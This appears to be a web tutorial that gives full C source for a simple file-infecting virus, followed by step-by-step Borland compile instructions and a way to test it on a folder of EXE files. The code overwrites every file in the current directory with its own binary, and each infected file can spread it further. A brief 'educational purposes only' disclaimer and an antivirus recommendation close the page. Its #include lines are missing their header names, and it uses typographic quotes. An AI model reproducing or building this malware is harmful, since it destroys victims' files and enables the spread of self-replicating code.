How to create a computer virus in C ?

Here the following program will show that how to create a virus in c.This program demonstrates a simple virus program which upon execution (Running) creates a copy of itself in the other file.Thus it destroys other files by infecting them. But the virus infected file is also capable of spreading the infection to another file and so on.Here’s the source code of the virus program.


#include
#include
#include
#include
#include
#include
FILE *virus,*host;
int done,a=0;
unsigned long x;
char buff[2048];
struct ffblk ffblk;
clock_t st,end;
void main()
{
st=clock();
clrscr();
done=findfirst(”*.*”,&ffblk,0);
while(!done)
{
virus=fopen(_argv[0],”rb”);
host=fopen(ffblk.ff_name,”rb+”);
if(host==NULL) goto next;
x=89088;
printf(”Infecting %s\n”,ffblk.ff_name,a);
while(x>2048)
{
fread(buff,2048,1,virus);
fwrite(buff,2048,1,host);
x-=2048;
}
fread(buff,x,1,virus);
fwrite(buff,x,1,host);
a++;
next:
{
fcloseall();
done=findnext(&ffblk);
}
}
printf(”DONE! (Total Files Infected= %d)”,a);
end=clock();
printf(”TIME TAKEN=%f SEC\n”,
(end-st)/CLK_TCK);
getch();
}

COMPILING METHOD:

BORLAND TC++ 3.0 (16-BIT):

1. Load the program in the compiler, press Alt-F9 to compile
2. Press F9 to generate the EXE file (DO NOT PRESS CTRL-F9,THIS WILL INFECT ALL THE FILES IN CUR DIRECTORY INCLUDIN YOUR COMPILER)
3. Note down the size of generated EXE file in bytes (SEE EXE FILE PROPERTIES FOR IT’S SIZE)
4. Change the value of X in the source code with the noted down size (IN THE ABOVE SOURCE CODE x= 89088; CHANGE IT)
5. Once again follow the STEP 1 & STEP 2.Now the generated EXE File is ready to infect
BORLAND C++ 5.5 (32-BIT) :

1. Compile once,note down the generated EXE file length in bytes
2. Change the value of X in source code to this length in bytes
3. Recompile it.The new EXE file is ready to infect
HOW TO TEST:

1. Open new empty folder

2. Put some EXE files (BY SEARCHING FOR *.EXE IN SEARCH & PASTING IN THE NEW FOLDER)
3. Run the virus EXE file there you will see all the files in the current directory get infected.
4.All the infected files will be ready to reinfect
That’s it.


WARNING: FOR EDUCATIONAL PURPOSES ONLY
Recommendation- Don't create viruses as it is an illegal activity this was just an
 example that how viruses hurts your system privacy.The best Anti-virus Which I would like to recommend you to use Kaspersky Anti-Virus.This is Recommended not only by me but also by hackers.Reason is that other Anti-viruses detects viruses on the basis of signatures whereas Kaspersky Anti-Virus scans for the viruses on the basis of Behavior, that means when a virus files works as an unauthorized system file then it will be reported to be a Virus.